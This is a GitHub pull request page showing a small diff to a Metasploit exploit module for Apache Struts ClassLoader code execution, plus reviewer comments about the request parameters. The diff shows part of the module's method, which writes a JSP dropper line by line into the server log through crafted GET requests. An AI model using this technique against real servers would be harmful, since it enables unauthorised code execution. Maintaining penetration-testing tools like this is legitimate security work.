Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change HTTP requests to succeed when going through HTTP proxies #4708

Merged
merged 1 commit into from
Feb 4, 2015
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
13 changes: 10 additions & 3 deletions modules/exploits/multi/http/struts_code_exec_classloader.rb
Original file line number Diff line number Diff line change
Expand Up @@ -97,9 +97,13 @@ def jsp_dropper(file, exe)

def dump_line(uri, cmd = "")
res = send_request_cgi({
'uri' => uri+cmd,
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ""
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be cmd => cmd?

Or drop the cmd argument from the function?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it shoudl result it /uri?my_command_to_execute so I think the syntax is correct, we don't need a value here

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So then cmd is redundant and should be removed for clarity?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ah no I see that does make sense, its just not very clear :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

jeah it's tricky to read

},
'version' => '1.1',
'method' => 'GET',
'method' => 'GET'
})

res
Expand Down Expand Up @@ -232,8 +236,11 @@ def exploit
# Dump the JSP to the log file
print_status("#{peer} - Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))

uri = normalize_uri("/", random_request)

jsp.each_line do |l|
unless dump_line(random_request, l.chomp)
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
Expand Down